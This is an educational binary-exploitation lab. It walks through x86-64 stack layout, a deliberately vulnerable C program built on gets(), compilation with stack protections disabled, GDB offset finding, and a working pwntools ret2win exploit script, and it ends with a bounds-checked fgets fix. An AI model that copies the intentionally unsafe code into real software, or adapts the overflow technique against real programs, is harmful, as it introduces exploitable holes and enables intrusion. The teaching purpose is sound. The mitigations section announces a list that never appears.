Binary Exploitation & Stack Overflow Lab

Binary exploitation is the discipline of identifying and leveraging vulnerabilities in compiled executables to subvert normal execution flow. At its core lies memory unsafety: languages like C and C++ allow direct memory manipulation without automated bounds checking, creating pathways for stack memory corruption.

This guide explores x86-64 stack frame layout, memory corruption mechanisms, and how to craft a working ret2win exploit using GDB and pwntools.

Disclaimer: This research and code is strictly for authorized educational research, security engineering, and defensive hardening.

1. x86-64 Virtual Memory Layout & Stack Architecture

Figure 1: Anatomical breakdown of x86-64 stack frame, 64-byte buffer overflow vector, Saved RBP corruption, and Saved RIP control flow redirection.

When an executable runs on Linux, the operating system's memory management unit (MMU) provisions a virtual address space partitioned into distinct segments:

Higher Memory Addresses (0x7fffffffffff)
+-------------------------------------------------------------+
| Kernel Space (Restricted)                                   |
+-------------------------------------------------------------+
| Stack (Grows DOWNWARD toward lower memory)                  |
|   |  - Function parameters, local variables, return pointers |
|   V                                                         |
+-------------------------------------------------------------+
| Shared Libraries (libc.so, ld.so)                           |
+-------------------------------------------------------------+
| Heap (Grows UPWARD toward higher memory)                    |
|   ^  - Dynamic allocations (malloc, calloc, new)            |
|   |                                                         |
+-------------------------------------------------------------+
| BSS / Data Segments (Uninitialized & initialized globals)   |
+-------------------------------------------------------------+
| Text Segment (.text - Executable machine code instructions) |
+-------------------------------------------------------------+
Lower Memory Addresses (0x0000000000400000)

Anatomical Structure of a Single Stack Frame

When function foo() calls function bar(), the CPU executes the following register and stack sequence: 1. call bar pushes the next instruction address (Return Address / Saved RIP) onto the stack. 2. push rbp saves the caller's Base Pointer. 3. mov rbp, rsp establishes the new stack frame base. 4. sub rsp, N decrements the Stack Pointer to allocate space for local variables.

2. The Vulnerable Target Application

Unbounded standard library routines like gets(), strcpy(), and scanf("%s") write bytes into buffers without checking buffer boundaries:

/* target.c - Vulnerable Laboratory Target */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void secret_backdoor() {
    printf("\n[+] FLAG-FOUND: NXG{x86_64_c0ntr0l_fl0w_h1j4ck_succ3ss}\n");
    fflush(stdout);
    exit(0);
}

void vulnerable_function() {
    char buffer[64]; // Allocated 64 bytes on the stack
    printf("[*] Enter verification token: ");
    fflush(stdout);
    gets(buffer);    // DANGEROUS: Reads unlimited bytes into a 64-byte buffer!
}

int main(int argc, char **argv) {
    printf("[NexGen Security Lab 01 - Control Flow Redirection]\n");
    vulnerable_function();
    printf("[-] Verification failed. Program exiting normally.\n");
    return 0;
}

3. Compiling the Binary for Laboratory Analysis

To analyze the underlying mechanics in isolation before tackling advanced modern mitigations, compile with specific hardening flags temporarily disabled:

# Compile with:
# -fno-stack-protector : Disables GCC stack canary check
# -z execstack         : Marks stack memory as executable
# -no-pie              : Disables Position Independent Executable (static code addresses)
# -g                   : Includes debug symbols
gcc -fno-stack-protector -z execstack -no-pie -g target.c -o target

4. Debugging & Offset Calculation with GDB & Pwndbg

To hijack control flow, we must calculate the exact byte distance from the start of buffer to the Saved Return Address (Saved RIP).

Step 1: Launch the Debugger

gdb ./target

Step 2: Generate a De Bruijn Cyclic Pattern

In GDB (or using pwntools cyclic):

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Step 3: Run the Program and Trigger a Segmentation Fault

pwndbg> run
[*] Enter verification token: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011d6 in vulnerable_function ()
pwndbg> cyclic -l 0x6161616a61616169
[+] Exact offset to Saved RIP: 72 bytes

We now know: - Bytes 0 to 63: Fills the 64-byte buffer. - Bytes 64 to 71: Overwrites the 8-byte Saved Base Pointer (Saved RBP). - Bytes 72 to 79: Overwrites the 8-byte Saved Instruction Pointer (Saved RIP)!

5. Locating the Target Function Address

Query the memory address of secret_backdoor():

pwndbg> info address secret_backdoor
Symbol "secret_backdoor" is at 0x401176 in a file compiled without PIE.

6. Crafting the Exploit with Python & Pwntools

Now construct an automated exploit script that payloads 72 padding bytes followed by the 64-bit packed address of secret_backdoor:

#!/usr/bin/env python3
# exploit.py - Automated ret2win exploit
from pwn import *

# Target configuration
binary_path = "./target"
elf = ELF(binary_path)

# Extract address of target function programmatically
target_addr = elf.symbols['secret_backdoor']
log.info(f"Target function address: {hex(target_addr)}")

# In x86-64, MOVAPS instructions require 16-byte stack alignment.
# We can include a 'ret' gadget if stack alignment causes a segfault inside printf.
rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0]
log.info(f"Alignment RET gadget: {hex(ret_gadget)}")

# Payload composition
offset = 72
payload = flat({
    offset: [
        ret_gadget,   # Align stack to 16-byte boundary
        target_addr   # Overwrite RIP with secret_backdoor()
    ]
})

# Launch process and deliver payload
p = process(binary_path)
p.recvuntil(b"Enter verification token: ")
log.info("Sending crafted buffer overflow payload...")
p.sendline(payload)

# Receive output
output = p.recvall(timeout=2).decode(errors='ignore')
print(output)

7. Modern Exploit Mitigations & Defensive Engineering

Production operating systems enforce multiple concentric defensive layers against memory exploitation:

Secure Coding Remediation

Always replace unbounded functions with bounds-checked alternatives:

/* SECURE IMPLEMENTATION */
void secure_function() {
    char buffer[64];
    printf("[*] Enter verification token: ");
    fflush(stdout);

    // Bounds-checked input reading: ensures null-termination and prevents buffer overflow
    if (fgets(buffer, sizeof(buffer), stdin) == NULL) {
        return;
    }
}